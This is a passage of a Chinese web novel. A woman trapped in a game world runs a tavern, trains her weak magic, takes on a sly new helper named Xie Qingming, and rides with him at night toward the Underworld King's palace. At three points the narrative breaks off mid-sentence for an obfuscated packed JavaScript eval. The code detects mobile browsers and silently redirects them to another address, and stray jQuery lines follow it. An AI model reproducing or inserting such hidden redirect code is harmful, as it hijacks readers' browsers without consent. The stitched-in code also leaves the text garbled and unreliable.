她必须尽快武装起来,赶在冥王动手之前,想办法再去冥王宫踩一次点。
4. 云外音
迟复樱从没觉得自己是个迷信的人,但此刻她正苦练妖法招数,并期盼着下次能让冥王送自己穿越时空。
午后的阳光逐渐升温,令人头昏眼花。她支走了两个店员,浪花酒肆的后院里只有她自己。点点微光从指尖迸发出来,再一次,迟复樱集中精力,抬起一根手指,试着用法力将一块板凳大小的石头抛到空中,再使之炸开。
石头满地乱滚了一会儿,又原地弹跳了几下,最后一动不动。明知道自己初来乍到,不可能速成一套绝技,迟复樱还是感到很失望。通过这两天的练习,她已经能操控简单的法术,能驱动小石子打中目标,也能旱地拔葱,腾云驾雾,飞上房顶。但距离能对抗冥王的身手,还是相去甚远。
她重整旗鼓,双腿叉开,牢牢地扎在地上,同时凝神静气,让意念从心脑系统中扩散开来,流经浑身各处。待到全身都变得暖洋洋的,她便低喝一声:“起!”
想不到那块石头纹丝未动,反而是石头后面的大树咔嚓一声,从中间折断,庞大的树冠缓缓向迟复樱砸来。
迟复樱沃了一声,一蹦三尺,弹跳着躲开了。砰的一声,树冠落在地上,扬起一片干燥的尘土。
跑堂女提着裙子,从楼里匆匆跑出来,嘴里喊着:“掌柜的,您没事吧?”
大厨男跟在她身后,几个健步就跑到前头,一手还挥动着锅铲,驱散空中的灰尘:“掌柜的在砍柴吗?”
迟复樱慢慢从藏身的地方走出来,坐在半截树墩上,面如土色。跑堂女面不改色,用脚踢开乱七八糟的树枝,安慰道:“掌柜的,您刚刚醒来,灵力不稳也是正常的。大不了,我们想办法给您买点灵泉喝。”
迟复樱问:“灵泉是什么?”她不记得这游戏中设置过这种装备。
跑堂女解释道:“那是一种药水。我们平时做点日常小法术,只需要靠自身的灵力就够了,只有做大事才需要喝灵泉。比如一个人想放倒一棵树,只需要起心动念就能办到;但要想瞬息之内砍倒一整片树林,可不是人人都天生有足够的灵力,自身灵力不够的人,就得喝一口灵泉才行。”
迟复樱苦着脸说:“我本来没想放倒一棵树。”
大厨男在一旁说:“掌柜的不必发愁,听说有许多小孩儿开智较晚,连驱动一块石头都做不到,都是喝了一点灵泉药水才开窍的……”
跑堂女嘶了一声,像训学生一样训斥道:“说什么呢,怎么拿掌柜的跟不会走路的小孩儿相提并论?”
迟复樱面无表情,看着倒地的树干说:“等我练好了,非要再把它接回去不可。”
大厨男满怀希望地说:“您都练了两天了,那个……是不是能带领我们酒肆赚一笔,过几天他们又要来收税啦……”
跑堂女补充道:“掌柜的,我们酿了几坛酒,如果您出手改进改进,说不定能在下次鬼市上卖个好价钱。”
一提到钱,迟复樱心生憧憬:“钱是不是能买到灵泉药水?”
“有钱当然能买到了,”跑堂女笑了一下,“我知道有几间药铺卖价更低,咱们多攒点钱就行了。”
迟复樱哎了一声:“看来很贵啊。”
“怎么能不贵呢?最大的一口泉眼就被冥王控制着,所以他老人家才那么有钱!”大厨男挑着一侧眉毛的后半段,十分神秘地说,“掌柜的还没醒全,可能有所不知,这里处处都要用钱,有了钱才能买到灵泉,有了灵泉才能做这做那!没有凭空产生的东西,不然是什么催动着天地间万事万物的轮转?”
迟复樱心说,是什么催动着天地间万事万物的轮转?是我们编的代码。但是听他的口吻,这种灵泉药水竟然像妖鬼社会的血液一样至关重要,例如建桥修路、制作器具这类高难度动作,无不需要灵泉的注入。冥王这老小子竟坐拥一口泉眼,那自己恐怕喝一缸灵泉也打不过他。
迟复樱字斟句酌地说:“冥王宫这几天有什么新鲜事吗?比如,又杀人了吗?又有人要杀吗?”她不明白冥王怎么还不来找自己算账?
“冥王?哦,冥王他老人家这几天不在王都,我早晨卖包子的时候听人说的,往常有纸人马车往冥王宫里运马草,今天没运,肯定是冥王坐着马车出门啦。”大厨男伸手指了指窗外,“看见天上那道黑线了吗?那就是冥王马车留下的痕迹,看样子是往王都的西南方向去了。唉,冥王想去哪就去哪,不像我们,还要发愁税金……”
她心里不知是喜是悲。冥王竟然跑了,他是忙着去处理大事,还是怕了她?难道他本质是个工于心计的纸老虎,就像历史上的某些皇帝太子?说不定,他还把迟复樱的非法闯入当成了某一方势力的挑衅,这会儿正心神不宁,让眼线盯着她的动向呢。
大厨男又说:“唉,冥王就不用操心税金,他不但不交税,还能抢税呢……“
在他的强烈暗示下,迟复樱终于承认,这两人可能是希望复活的掌柜不要白吃白喝,最好还能酿酒大赚一笔。
跑堂女特意捧来一个大盘子,上面是一壶茶和几盘点心。她让大盘子悬浮在迟复樱面前,说:“我看掌柜的很喜欢喝茶。”她们三个看起来年纪差不多,但她的举止言谈总是带着一种大姐姐的感觉。那天夜里,也是她给迟复樱的卧房留了灯。
迟复樱心情沉重,慢慢掀开壶盖,愣了一会儿,猛地捧起茶壶灌了几口。咕咚咕咚的,茶水从壶口泼进嘴里,顺着下巴往下淌。她又将几块点心塞进嘴里,怨愤地嚼着,第无数次思考为什么是自己摊上这种事?嚼着嚼着,她突然眼眶一热。
这种点心疏松绵软,散发着桂花的香味,让她想起从前上学时常吃的桂花糕。虽然还是记不起同窗好友的身影,但这是几天来第一次想起工作之外的事情。
吞完最后一口的时候,她觉得自己活过来了。
她抬起头,哽咽着说:“这些也要花钱吧?”
跑堂女和蔼地说:“这没什么,咱们酒肆里别的没有,吃吃喝喝的东西还够用一阵。”大厨男也举起锅铲,点头示意。
迟复樱又问:“你们这几天怎么不吃东西?”吃喝不是必需,但无疑会让人心情愉悦。
跑堂女说:“我们吃不吃也无所谓,掌柜的,您应该多吃一些。您看您刚活的那天晚上,眉毛眼睛都是紧张的,好像总是很惊恐的样子!这几天吃了东西,看着舒展多了。”
迟复樱知道她们这是把东西省下来给自己吃。她为主、她们为仆,但她觉得这并非是她们善意的来源。自己来了以后从没给她们带来好处,还成天如同惊弓之鸟,她们肯定早就看出这个掌柜不是原装,却还是对她心怀同情,单纯地希望她能吃好睡好。
她抹了一把脸,真心地说:“以后我怎么叫你们?要不就叫……金师傅,韩师傅?”
跑堂姐以为她不喜欢这两个名字,急忙说:“这是我们从前的名字,现在您醒了,应该给我们赐个新名。”
“不要不要。”迟复樱连忙摆手,心想古人随意给奴仆取名,实在是很侮辱人格。她不想再被当成主子服侍,就强行命令这两人不能再以仆人自居,还让他们自己给自己取新名。
挑选了许多优美的好字之后,跑堂姐金元宝为自己更名为金风,寓意是无论跑堂还是行走世间都能迅捷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468774|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如风。大厨男韩杀男为自己更名为韩无刃,这名字听着颇为侠气,但他说叫这名是因为自己有一定灵气,在后厨工作时从来不用刀,只需要点点手指,食材就自动成丝成片。
金风和韩无刃的名字敲定后,迟复樱又让他们别再叫自己掌柜。这间酒肆叫做浪花,金风建议她绰号浪花娘子,也可以叫松花酒客,取“松花酿酒、春水煎茶”的寓意。最后迟复樱随口给自己起名为浪花大王。
迟复樱到前院看了一圈。酒肆的高楼静静伫立在正中,院门外,传来市井摊贩的吆喝声。
她抱着手臂站在楼前,抬头看着楼门上悬挂的牌匾,那上面写着:浪花酒肆。
门边又立着一竖条木牌,上门写着一句诗词:浪花淘尽英雄。
经过多番打击,狂热的心情冷却下来,迟复樱终于明白如果不能找到回家的办法,那么自己的真身无论在哪里都已经无关紧要。她决定先用这家酒肆赚点钱,这样在离开这里之前,每天至少还能喝口热的。
况且,她需要大量购入灵泉,再雇几个可靠的包打听,去探测冥王的商业帝国,再调查他和西北东南的渊源。他和各方势力之间,到底存在着怎样错综复杂的关系?
门边有块木炭,是金风那天用来画画的。迟复樱随手捡起来,看着那一竖条木牌,将那句诗词的最后一字涂掉,改为:浪花淘尽英雌。
扔掉木炭后,迟复樱双手叉腰,目光仿佛穿透了木牌。想得正投入时,突然听见半空中有个声音说道:“浪花淘尽英雌?”
迟复樱猛地抬头,原地转了一圈,却看不见说话的人。那看不见的人又开口了,轻轻笑着说:“姑娘,这样就不押韵了。”
迟复樱毫不在意地说:“反正只刻了这一句,又不是放在整首词里,管它押不押韵?”方才这声音说第一句话时,她还吓了一跳,一下就想到了那个藏在暗处说话的冥王。
再听时,又发现这两个声音完全不像。这个声音清爽剔透,亮而不薄,明显更有人味。
那人还是不露面,继续空中传话:“说得也是。那你砍树干什么?不是为了做木板题诗吗?”
“你看见我练功了?”迟复樱想到自己刚才拙劣的表现,顿时深受冒犯,“你到底在哪?谁允许你观看了?”
那声音嬉笑道:“怎么,你是怕我偷学一手吗?学会以后,就可以声东击西、隔空打牛了?”
迟复樱从鼻子里喷出一口气,气得像牛一样。
那人又问:“姑娘是酒肆的新老板么?”
迟复樱想起正事,于是不放弃一切机会,反问那人:“你知道哪有镜子吗?”
“……”那人忽然神秘地说,“不照镜子反而好,你照了镜子会失望的。”
“为什么?”迟复樱伸手去摸自己的头和脸。幸好头发还是很浓密的,在头顶梳成了发髻,脸上也没有疙瘩或小坑。她质问道:“你是不是说我丑?”
“我可没这么说。”
虽然这脸都不一定是自己的,迟复樱还是气恼地问:“我这张脸丑吗?”
那个人哈哈笑了起来,说:“你怎么不怕我?你看得见我吗?”
“看不见。”迟复樱背着双手,冷淡地说,“你连个身体都没修炼出来?不是孤魂野鬼吧?”
那人不回答了,四周归为沉寂。迟复樱又说:“难道你是我们店里的第三个店员?”
回答她的是风吹树叶的声音。空中那神秘的说话声消失了,仿佛刚才的对话,也只是这一场鬼魅大梦的梦中梦。但迟复樱却总觉得有双眼睛在看着她,这感觉让她似曾相识。
5. 献男仆
来自空中的神秘声音没再出现。起初,迟复樱还会偶尔想象那个小妖是什么样的,是否真的无色无相?很快,她就不再幻想这些虚无缥缈的事情,因为金风和韩无刃最近酿的一批酒,于今日正式开坛了。
几人坐在后院中,将几个酒坛团团围住。金风依次从每坛酒里倒出一盅,再将这一盅分成三份。迟复樱从腰间解下自己常用的那把茶壶,用壶盖当做自己的容器,每品尝完一种,就对着壶口吨吨灌几口茶水,去去口中的酒味,以便品尝下一种。
每一坛都尝过之后,她指着其中一坛说:“这一坛的定价要比其余的高一些。如果客户的留存率……哦,就是客人喝了这坛之后还想再喝的话,就再提价!不过不能在今天涨价,只能是从明天开始了!明天一早就立马涨!”
又指着一坛被没能入围的浑浊酒浆说:“这坛虽然味道不正,但也别扔,可以留着低价卖!”
金风露出了闻所未闻的表情,大概从没听说过如此无耻的定价策略。韩无刃欣喜地说:“掌柜哒,原来你早就想好怎么赚钱啦?”
迟复樱重重地嗯了一声,摩拳擦掌,只恨不得立马就从客人的口袋里掏钱出来,好尽快实现自己的计划。等了半天,没有客人来,就又想劝金风和韩无刃去街上摆摊。
正张罗得鸡飞狗跳时,突然听见院门外有人高声叫道:“五木仙人,求见酒肆掌柜!”
其声音高亢清亮,直冲云霄,竟将“酒肆掌柜”的称呼衬托得十分渺小,仿佛应该是酒教掌门才当得起这样的传唤。然而,迟复樱从没让外人知道她是酒肆的名义掌柜,只装作是临时的帮工,以免将来真的得罪了冥王,会连累酒肆的两位同事。
来者何人?
迟复樱首先想到的,就是冥王派人来抓她了。她闪身躲入柜台后,毫不犹豫地蹲了下来。那人十分执着,又一字不差地喊了一遍,点名道姓地求见浪花酒肆掌柜。
迟复樱探出一个眼睛向外瞄着。只见一个纤瘦男子逆光站着,披散的长发垂到腰间,皮肤煞白,细长眉眼,的确有些仙风道骨的感觉。
金风从后院转出来,见她蹲在这里,就俯身在她耳边说:“他过去经常来我们店里喝酒,每次喝醉了就跟房梁上的雕像聊天,一口一个掌柜。我看,他今天大概是又喝糊涂了。因为他擅长用五颗木质骰子赌博,所以才叫五木仙人。”
一听是老熟人,迟复樱内心一阵轻松,便站了起来,拿着派头说:“五木仙人,请进请进!不过我不算什么掌柜,只是新来的伙计罢了。本店今天有陈年佳酿,分为清酒和浊酒,您看您要哪种?我们的清酒叫做冰上月,两钱一碗;浊酒呢,叫做雾里花,一钱两碗……”
五木仙人雍容地迈进门槛,在长条凳上优雅落座,一边翘起二郎腿,一边向前抖出袍子下摆。青色的布片飘飘忽忽地落回到他的腿上,他颇为风雅地笑了几声,说:“不急,不急。”说着瞟向了房梁上从前有雕像的地方,那里现在已经空了。
迟复樱心里一紧,所幸他并未看出不对,或许是因为房梁隐藏在高空的阴影中,本来也朦朦胧胧的。
韩无刃从后厨里钻出来,手里还端着一笼屉的包子。包子不过是粗面和野菜做的,但他在上面雕出了不少花。看清了来人之后,他凑到迟复樱身后,飞快地提醒道:“掌柜的,这老鬼一直赊账!”
迟复樱的嘴角僵硬了。她微微侧头,悄声问老韩:“怎么,他没钱吗?他不是仙人吗?”
“我们妖鬼界,哪里来的真仙人,凡人界里那些道士才每天修仙呢。”韩无刃鄙夷地说,“这老家伙不过是自封仙人,想压别的妖鬼一头!”
五木仙人远远地坐在一边,依然得体地微笑着。迟复樱趴在柜台上,和他闲聊道:“客官听说了吗?本店每逢春季都有酬宾盛惠,一次性还清账款的,免费赠送两碗雾里花。如果再押一笔钱存着慢慢喝,那就更划算了,会免费赠送三碗冰上月……”
“您诸位明察秋毫,老夫今日果真是来还债的!”五木仙人嘴里说着,但就是不伸手去荷包里拿钱,“待到老夫亮出抵账之物,想来您诸位一定喜欢……”
迟复樱慢慢踱出来,背着手站在他面前,心想这人说话怎么总是咬文嚼字的?想了一会儿才想起来,在烂尾的《浪花酒肆》里,有个角色的设定是古风小生。
韩无刃警惕地插嘴道:“你要用什么抵账?难道不是钱么?”
五木仙人捻着不存在的胡子,晃动脑袋呵呵一笑,然后做作地拍了拍手。
门外传来哒哒的马蹄声,迟复樱转头望去,只见又一个逆光的身影出现在院门外,骑着白马一步一步进了前院。
只是,这个身影似乎自身就会发亮。身后的日光为他周围镀上了一层金色的光晕,而他自己的脸上也散发着皎洁的光芒,映照得五官异常清晰利落。
走到楼前,那人翻身下马,一步跨进了酒肆的门槛。迟复樱还是定定地看着他,忽然觉得他就像一首无字之诗,包罗万象,尽显风流。他的相貌精致锐利,却又引而不发,不至于让人担心一片纤细的花瓣飞上了抛物线的顶点,再往前一点就会坠落成空。
迟复樱想起了两句话:如渌满酒,花时返秋。悠悠空尘,忽忽海沤。
从现身以后,这个瘦高的男青年也始终在看着迟复樱。她突然有一种古怪的想法,担心自己这副躯壳长得狰狞可怖,或是平淡易忘。这一刻,她强烈地希望自己不要太难看。
接着,她猛地想起欠债的事,就把其他念头都抛到脑后去了:“您是来替五木仙人还钱的吗?”
男青年垂下头,轻轻嗯了一声,说:“是的。”
这下,迟复樱浑身起了一层鸡皮疙瘩。她无论如何也没想到,这么一个风流俊美的大小伙子,怎么一开口说话就突然弱不禁风的?似乎是故意吊着嗓子,用气声吐字,给人一种气若游丝、病入膏肓的感觉。
金风和韩无刃紧紧盯着男青年,显然是希望他赶快掏钱。只听五木仙人款款地说:“我向掌柜献上此仆,作为贡品抵债。”
酒肆的三个人一起说:“什么?”
被献上的那位贡品,还笔直地屹立在门边,仿佛置身事外。他身上的银白色袍子做工精良,身后的白马也是气质出尘。
迟复樱现在草木皆兵,立刻怀疑这人是冥王安插的眼线。她后退了几步,问五木仙人:“你的仆人骑着马来,你反倒是走路来的?”
白衣青年淡淡地看了他一眼。五木仙人干咳一声,答道:“小娘子有所不知……”
韩无刃抱起双臂,傲然说道:“这是浪花大王!”白衣人眼观鼻,鼻观心,面无波澜,只是有意无意地牵动了嘴角。
五木仙人说:“浪花大王有所不知,此仆擅长驯马,这匹马只认他,别人谁都骑不得。”
迟复樱追问道:“那他过去都是做什么的?从哪里来,去过哪里?”
五木仙人嗬嗬笑道:“浪花大王放心,这仆人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468775|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的来历绝对是可靠的,否则我就在这城中,您岂不是随时都能找我兴师问罪?他是我家中车夫的干儿子。我府上如今十分拮据,养不起这些仆人了,不如趁此机会献给贵酒肆,岂不皆大欢喜?”
白衣人又扫了一眼五木仙人。五木仙人好像生怕贡品送不出去,急忙解释说这位仆人能干粗活,又不要工钱,身体虽然孱弱,但从不吃药,还很抗揍,浪花大王收下他绝不会吃亏。
说着,还拉起白衣人的袖子,给大家展示他手臂上的青紫。
迟复樱负手而立,眼看着白衣人低头微微颤抖,不禁难以置信:“你还揍他?”这鬼地方果然是封建奴隶制,自己可一定得快点逃回现代社会!
五木仙人抡起胳膊,邦邦两拳,猛烈地击打着小白脸的后背,做鼓励状。小白脸被打得又是踉跄,又是咳嗽。
三人一起出声阻止。五木说:“请看,他身子骨还是结实的。”
看到这文文静静小白脸挨打的样子,迟复樱不禁感到同情和辛酸,又觉得他不像冥王的手下了。正所谓狐假虎威,冥王的心腹也是个人物了。哪能被人这么揍?就问他:“那你会做什么?”
白衣人缓缓抬起眼皮,平静地说:“我很懂酒。”
此言一出,正所谓于无声处听惊雷,金风和韩无刃都露出正中下怀的表情。
迟复樱从柜台里翻出账本,发现五木仙人不过欠了四坛酒钱。只要白衣人帮她酿出四坛以上的好酒,那么从第五坛开始,以后的每一坛都是净赚。
她太需要钱了。
团队内部交换了眼色后,迟复樱啪地一下合上账本,和五木仙人讨价还价:“好说好说,连本带利,只要再付我五坛酒钱,我就收下你的仆人!”
五木仙人叫苦不迭,瞄了一眼白衣人,伸出一根手指:“再付一坛。”
在迟复樱的坚持下,最后五木仙人付了两坛半的酒钱,外加一个白衣仆人,至此欠账一笔勾销。他连白马都留给了仆人,自己匆匆忙忙地走了,似乎生怕迟复樱突然反悔,又不要那位仆人了。
迟复樱对白衣人保证:“你放心,我们这里没有仆人这一说,不是叫你卖身。等到赚了钱,我们大家一起平分!”
他移开眼睛,十分自卑地说:“好。”
陡然间多了一个伙计,金风和韩无刃去给他张罗睡觉的地方,找来找去,却找不出一间空房。举架高挑的酒肆里,一楼大堂其实是天井,直通高高的房梁,二楼仅有的三间房都已被占用。韩无刃邀请他来和自己挤一挤,却被摇头拒绝,一时间觉得这人不懂得感恩,嘴角立刻耷拉下来。
迟复樱参考了现代社会的户外装备,提议在房梁上悬挂吊床,又被这人摇头拒绝。最后金风让他暂住在迟复樱隔壁的一间小储物间里,他终于慢条斯理地点了一下头。
韩无刃去照料那匹白马了,金风则去找铺盖,小白脸超脱地站在一旁,竟像是一群仆人伺候他一个主子。迟复樱准备先叫他休息一天,明天开始每天酿五坛酒,再加上自己的市场调研和产品包装,赚钱岂非指日可待!
迟复樱和气地问:“你叫什么名字?”
白衣人缓缓吐出三个字:“谢清鸣。”
迟复樱忍不住说:“你怎么总夹着嗓子说话?”
他忽然微微抬了一下两个眉头,意味深长地笑了。迟复樱忽然觉得不妙,接着,就听他用一种熟悉、低沉而清朗的声音说:“是你问我要不要当你们第三个店员的。”
6. 夜奔腾
夜半三更,迟复樱气得翻来覆去睡不着觉。这个小贼捏着嗓子假装柔弱可怜,骗着她同情地收留了他,实际却是个四处闲逛、躲在暗处和人搭讪的街溜子,那还能指望他酿酒吗?说不定是五木仙人收服不了这个员工,才把他出手了;又说不定他和五木仙人联手串通,先把账平了,过几天就一招金蝉脱壳、逃之夭夭了。
来到这个危机四伏的世界,迟复樱生怕节外生枝,平时从不出门闲逛。然而,她不去寻找麻烦,麻烦却总是找上她。想到那人现在就大模大样地躺在隔壁,迟复樱一骨碌爬起来,从地上捞起一个纸团,朝墙壁扔去:“你这个撒谎的骗子!”
“浪花大王是在骂我吗?”
迟复樱猛地一转头,被骂的人轻飘飘地蹲在窗台上,像蹲在田埂上看禾苗一样看着她。她倒吸一口冷气:“你从哪来的?你什么时候来的!”
谢清鸣懒洋洋地说:“刚到。”
“这是我的卧室,就算我骂你,你也不能趴窗户!”迟复樱不满地说,“哪怕是我叫你来,你也得走门吧?”
“你们给我的扫帚间太小,我只能去睡房顶。”谢清鸣在窗台上坐下来,伸开两条长腿,舒坦地哼了一声,“从房顶到你的房间,走窗户不是最短路径吗?”
迟复樱沉着脸说:“那天你也是躲在房顶上跟我说话?”
“我可不是躲。”谢清鸣微笑着说,“我就躺在房顶上晒太阳,是你站得离房子太近,抬头也看不见我。”
听他的语气,就像在埋怨迟复樱不懂得透视原理。她盘问道:“你那时候就看上我们酒肆了,对吧?所以你想来当店员,对吧?你怎么想来就能来?五木仙人舍得放你走?”
谢清鸣说:“他恰好需要人抵债,我就大发善心,答应过来了。”
迟复樱气愤地说:“你当时为什么藏在屋顶上?这礼貌吗?再者说了,既然你早就跟我说过话,为什么今天还装得像肾虚一样骗人?你真能帮我们赚钱吗?五木实际还欠我一坛半的酒钱哪!”
谢清鸣满脸愤怒,耳朵红了:“谁肾虚?你这个小姑娘怎么什么话都说?”
迟复樱说:“出去!撒谎精!”
“谁撒谎?我不是立马就让你知道我是谁了吗?”谢清鸣抱着手臂叫道,“刻薄鬼,守财奴!”
“土街娃!”迟复樱双拳紧握,“游手好闲的混子!”
“别生气哟,生气容易长皱纹哟。”谢清鸣突然换上天真的口吻,笑眯眯地看着她的脸,“你不是逢人就问自己长什么样嘛,你是不是很在意自己的长相?”
突然被他戳中心事,迟复樱一时哽住了。她耐着性子问:“我到底长什么样?你形容一下,详细点,列出五点!”
谢清鸣把头伸到床边,特意对着她的脸左右看看,啧了一声:“不好看!”
迟复樱啊了一声,脸色都变了,总觉得心里好像隐隐约约猜到了答案。她不甘心地问:“真的假的?你是不是又骗我?”
“不骗你,骗你是小狗。”他绘声绘色地说,“见过松鼠吗?你的两个脸颊就像松鼠。还有狸花猫知道吗?你的鼻子就像狸猫……”形容得非常具体,但就是不像她自己。
迟复樱面如死灰。眼下这具身体的体型和肤色和她极度相似,就像世上的另一个她,难怪她会落入这个躯壳里。每每低头看自己时,还总是心存侥幸,觉得身体还牢牢地跟着自己。现在真相大白,这身体果然不是自己的,如果两边的时间流速相同,那边的身体就算是停尸七天,也该被烧成灰了。
谢清鸣突然停住话头,不安地问:“你怎么了?”
迟复樱呆呆地看着他,觉得下巴潮湿发痒,伸手一摸,才知道自己泪流满面。谢清鸣问:“你不喜欢这些动物?”迟复樱悲从中来,哽咽着用双手捂脸。
谢清鸣吓了一跳,先是本能地后撤,想要跑开。犹豫了一下,他还是跳下窗台,蹲在迟复樱的床边,仰头问:“我说不好看就不好看了?你真信?”
迟复樱仰头吭吭地抽着,绝望地说:“那我到底长什么样啊。”
“你真的从来没照过镜子?你们酒肆真这么穷啊?”谢清鸣小心地说,“你可以去鬼市上照啊,照了不买不就行了?”
迟复樱哀恸欲绝,根本不想理他。她现在悔不当初。如果早知道自己年纪轻轻就来到这个鬼魅游戏里,她一定辞去工作,好好享受那个真实而丰饶的世界。她的家乡繁华热闹,有商场、酒馆、沿海公路,打开冰箱就有东西吃,拧开水龙头就能洗热水澡,生活水准与这里不可同日而语!落入这个乌烟瘴气的酒肆,真是从天坠地一般。
谢清鸣举起双手说:“好了好了,你别哭了,我带你去照镜子,行了吧?”
迟复樱放下手,泪眼朦胧地看着他:“哪有镜子?我们这条街没有。”
谢清鸣站起身来,双手叉在胯间,轻松地说:“冥王宫。”
迟复樱的眼泪停了,震惊地看着他。他补充道:“冥王出远门了,这几天不在宫里住。”
“你是怎么知道的?”她戒备地看着这小子,迟疑地问,“为什么偏偏去冥王宫?你不是冥王手下的人吧?”
“绝对不是。”谢清鸣斩钉截铁地说,“这一点我可以向你保证。冥王宫里东西最全,其余人家有没有镜子,我可不能保证,再说你想私闯民宅吗?”
如果能去冥王宫里照照镜子,顺便摸清宫里的布局,为日后的“求人行动”做好准备,那无疑是一举两得。迟复樱心中又升起了希望,但还是忌惮地说:“冥王会杀了我们的,可能会连累你。”
“不会的,”谢清鸣扯着一侧的嘴角,低头看着她,“你这种酒肆小掌柜,冥王才懒得杀呢。”
迟复樱苦笑了一下。冥王或许懒得杀那些无关紧要的小蚂蚱,但她上次可是砸了冥王的寝殿。要是再大摇大摆地去他宫里照镜子,就是赤裸裸的挑衅,万一被发现了,再借两个腿也不够逃活命的。事实上,如果冥王没出远门,说不定早已经来找她算过账了,绝对等不到现在。
不过,有道是:搏一搏,单车变摩托。如果自己束手束脚,就算能一直活着,也是困在这里,那还有什么意思?她本来也要再去冥王宫踩一次点,如果说要做足准备再去,那恐怕永远没有百分百准备好的时候。
迟复樱当即一拍床铺:“那咱们走!”她本想换一身夜行服,可是一打开柜子,却发现里面空空如也,谢清鸣还笑出了声。她又打开房门,向金风和韩无刃的卧室看了几眼,那里鸦雀无声,大概是每间卧室的墙壁都被施了简单的隔音术。再返身看看夜空,是个满天繁星的晚上。
谢清鸣轻轻跃上窗台,向窗外吹了一声口哨。白马踢踢踏踏地走到了窗下,站定不动。从高高的窗口向下看去,只看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468776|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见黑夜中有个发光的影子。谢清鸣打头跳出窗外,迟复樱紧随其后,两人悄无声息地落在马边。迟复樱先抬腿上马,心想这可比用腿跑来得快多了。
她探头对谢清鸣说:“谢谢你把马让给我!那你怎么去呢?”
谢清鸣沉默地纵身上马,跨坐在她身后,双手握着缰绳,淡淡地说:“当然也是骑马去。”
说着,谢清鸣双腿一夹马肚,白马突然撒开四蹄,向着冥王宫的方向狂奔起来,就像黑暗中的一道电光。迟复樱紧紧抓着马鬃,几乎担心将它薅秃。她尽量坐直身体,让后背离开谢清鸣的胸膛。
跑出一段路,眼看着迎面走来一群夜行的鬼,白马四蹄齐飞,猛地腾空而起,踏着高耸的树尖一路狂奔。高低纵跃,肆意驰骋。颠簸中,谢清鸣用手臂箍住迟复樱,两人不知不觉挨在一起。迟复樱回头大声问:“你这匹马叫什么?”
两侧的街景迅速向后退去,谢清鸣始终抬头望着前路,在扑面而来的疾风中回答:“流星。”
这一回头,她的脸差点埋进谢清鸣的脖子,还闻到了一种凛冽的气味,让她联想到冥王宫里那种冰雪寒风的味道。但两种味道又不尽相同,谢清鸣衣服上的味道更明亮轻盈,恰似晴雪满竹。
迟复樱怀疑地问道:“你怎么敢去冥王宫,是和这地方有什么渊源吗?”
谢清鸣说:“因为经常去享用里面的东西,所以对那里很熟悉。”
“……”迟复樱干笑一声,“那你可真没少偷,都沾上味了。”
“你不是开酒肆的吗,按理说也不算缺钱用,为什么从没照过镜子?怎么会不知道自己长什么样?”谢清鸣驾驭着流星,不解地问道,“再说你用手摸也摸出来丑不丑了。”
“谁都是两个眼睛一个鼻子,这怎么摸得出来?”迟复樱反驳道,“除非你长两个鼻子,才能摸出来你丑。”谢清鸣笑了一声,在迟复樱听来充满轻蔑。
想到一会儿要夜闯冥王宫、还得完成不止一项任务,迟复樱胃里开始翻腾,紧张亢奋的心情让她坐立不安,差点要在马镫上站起来。夜风呼啸着与他们相撞,亭台楼阁,路人身影,无不鬼气森森,一晃而过。
长街将王都分成两半。下城区一片漆黑,只有零星的人家点着灯。变出光亮就需要燃烧法力,法力透支就需要饮用灵泉,住在下城区的人永远节约着能量。而上城区灯火辉煌,无数富贵人家举杯畅饮,通宵达旦,歌舞声随风飞来。冥界的妖鬼不常需要睡眠,但只有上城区的人才有资本享受黑夜里的时间,仿佛比下城区的人多活了一倍。
随着飞马的又一次腾跃,马背上的人自然而然地仰头,只见漫天星斗,动人心魄。深蓝的夜空中夹杂着蓝绿色烟雾,幽暗朦胧,原来是星际尘埃云。
迟复樱想不起自己的来处,也不知道将要去往何处。但夜奔是如此令人沉醉,她忽然感到她们在恍惚地飞翔。这一刻,星空仿佛突然裂开一条口子,倾泻出宽宏而嘹亮的歌声:
在那金色沙滩上,洒着银白月光。
寻找往事踪影,往事踪影迷茫。
寻找往事踪影,往事踪影迷茫。
……
飞吧飞吧我的马,箭一样地飞翔。
飞向无极宇宙,摆脱人世沧桑。
……
她从未觉得这首歌如此切题。远远地,冥王宫的轮廓浮现了。
7. 二进宫
两人提前下马,将流星独自留在远处,徒步走向高高的宫墙。迟复樱两只脚朝前走着,身体却总有一种掉头就跑的冲动,几乎要拧成个麻花。谢清鸣走在前面,头也不回地说:“害怕就照不上镜子喽。”
她压低声音问:“我们要从正门进去吗?你不觉得我们应该从薄弱处突破吗?”
“薄弱处是哪里?”谢清鸣反问道,“这里的围墙可是很厚的,你以为有什么小狗洞可以给你钻吗?”
